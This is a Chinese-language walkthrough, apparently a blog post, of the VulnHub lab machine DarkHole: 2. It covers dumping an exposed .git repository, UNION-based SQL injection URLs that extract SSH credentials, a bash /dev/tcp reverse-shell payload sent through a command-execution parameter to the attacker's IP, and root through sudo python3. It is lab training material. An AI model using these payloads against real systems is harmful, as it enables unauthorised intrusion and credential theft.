[渗透测试学习靶机05] vulnhub靶场 DarkHole: 2

kali IP地址为192.168.127.139

靶机 IP地址为192.168.127.144

目录

一、信息搜集

1.1、扫描主机口

1.2、 扫描端口

1.3、访问端口

1.4、扫描目录

二、枚举漏洞

2.1、进入目录

2.2、使用git-dumper分析git文件

2.2.1、直接用pip3安装

2.2.2、下载 git 文件夹内容:

2.2.3、切换到backup 文件,查看日志

2.2.4、获取账号,密码

2.3、进入网页的登陆页面

三、漏洞利用

3.1、SQL注入漏洞的利用

3.2、SSH 登陆

四、提权 

4.1、sudo 提权

4.2、继续提权 

4.3、获取losy的权限

4.4、获取root权限

总结:


一、信息搜集

1.1、扫描主机口

1.2、 扫描端口

发现开放了 22(ssh)、80(http)端口

1.3、访问端口

访问80(http)端口,发现就是正常页面,点击login,就是下面的页面

1.4、扫描目录

扫描目录,可以发现.git 目录

二、枚举漏洞

2.1、进入目录

接着访问.git 目录:http://192.168.127.144/.git/

http://192.168.127.144/.git/

2.2、使用git-dumper分析git文件

2.2.1、直接用pip3安装

pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn git-dumper

2.2.2、下载 git 文件夹内容:

git-dumper http://192.168.127.144/.git/ backup

2.2.3、切换到backup 文件,查看日志

我们发现有三次提交,可以使用Diff查看提交的区别

2.2.4、获取账号,密码

从上面三次提交,我们可以找到账号:lush@admin.com 密码:321

2.3、进入网页的登陆页面

三、漏洞利用

 

3.1、SQL注入漏洞的利用

刚刚登陆成功之后,同时可以看到 上方 URL id=1,那么存在sql注入的可能性。

第一步:通过单引号或者and方法测试是否有注入

kobe' 无回显结果。

kobe' and 1=1#正确

证明存在sql注入

第二步:order by 猜解表中列数

http://192.168.127.144/dashboard.php?id=1' order by 7 -- -	//报错
http://192.168.127.144/dashboard.php?id=1' order by 6 ---	//正常

 

 

第三步:测试回显位置 

http://192.168.127.144/dashboard.php?id=1' union select 1,2,3,4,5,6 -- 

 

第四步:爆破数据库的名字 

http://192.168.127.144/dashboard.php?id=-1' UNION  SELECT 1,database(),3,4,5,6  -- -

 获取数据库的名字:darkhole_2

第五步:爆破数据库的表名

http://192.168.127.144/dashboard.php?id=-1%27%20union%20select%201,2,3,4,5,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+1

第六步:爆破数据库里面的字段,因为要进入后台,我们选择爆ssh表字段。 

http://192.168.127.144/dashboard.php?id=-1%27%20union%20select%201,2,3,4,5,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27ssh%27%20--+

第七步:爆破ssh表里面的数据 

http://192.168.127.144/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(user,0x3a,pass) from ssh  --+1

第八步:攻破获取账号密码成功 

如图所示:得到 ssh 表中的用户和密码:
jehad:fool

当然也可以这样写SQL语句代码:

#爆表名
http://192.168.127.144/dashboard.php?id=-1' UNION  SELECT 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() -- -
#爆列名
http://192.168.127.144/dashboard.php?id=-1' UNION  SELECT 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database() and table_name='users'-- -
#爆数据
http://192.168.127.144/dashboard.php?id=-1' UNION  SELECT 1,user,psas,4,5,6 ssh-- -

3.2、SSH 登陆

尝试ssh 登陆,登陆成功

四、提权 

4.1sudo 提权

  登陆 jehad 的账号以后,查看当前用户可运行的命令或文件,结果没权限,还要切换其他具有sudo权限的用户继续进行提权

4.2、继续提权 

cat /etc/passwd | grep "/bin/bash"

如图所示:具有 /bin/bash 的用户除了 root : lama, jehad, losy

查看 历史命令记录

cat .bash_history

 

发现本地有9999端口的服务。

查看 socket 统计信息 

ss -antp

如图所示: 可以看到 127.0.0.1:9999 端口存在活动。

接着我们执行命令:

 curl "http://127.0.0.1:9999/?cmd=id"

可以发现9999端口网站的用户是losy

4.3、获取losy的权限

重新连接登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机

ssh jehad@192.168.127.144 -L 9999:localhost:9999

 

构造连接 kali 的命令 

bash -c 'bash -i >& /dev/tcp/192.168.127.139/7777 0>&1'

使用 URL 编码

bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.127.139%2F7777%200%3E%261'

使用 nc 监听 6666端口,然后浏览器(也可直接用curl)访问:

http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.127.139%2F7777%200%3E%261%27
curl http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.127.139%2F7777%200%3E%261%27

成功拿到 losy 的权限

查看历史,看看losyhistory都做了什么,在history中发现泄露密码等重要信息,以及存在python环境,和一段提权的执行代码 

 

如图所示:在第 88 发现了账号密码: losy:gang, 最后只有密码也为: gang

看到了:password: gang

ssh连接losy用户

 

4.4、获取root权限

losy是有sudo权限的

sudo -l 查看命令

 

可以看到python3root权限,我们直接 sudo 可以执行 python3 切换到 root shell

利用:

sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

 

最终提权成功,查找信息,获取flag 

总结:

本次靶机难度:高难度。本靶机涉及git 信息泄露漏洞,SQL 注入漏洞,系统配置漏洞等等

攻击的大体流程:

  1. 扫描出主机口
  2. nmap 扫出80端口存在.git目录
  3. 用两个git信息收集脚本,用git-dumper工具分析git文件
  4. 通过git log git diff 查看git 历史提交记录和提交的差异 发现后台登录账号密码
  5. 进入后台后通过url sql注入 注入出 ssh表的账号密码 登录jehad ssh
  6. 通过 jehad.bash_history 历史命令 发现 9999端口存在命令执行漏洞反弹losy shell成功
  7. losy .bash_history 历史命令 发现 sudo -l 和密码 gang
  8. 通过sudo -l 信息 python3 切换至root shell

 

  • 4
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值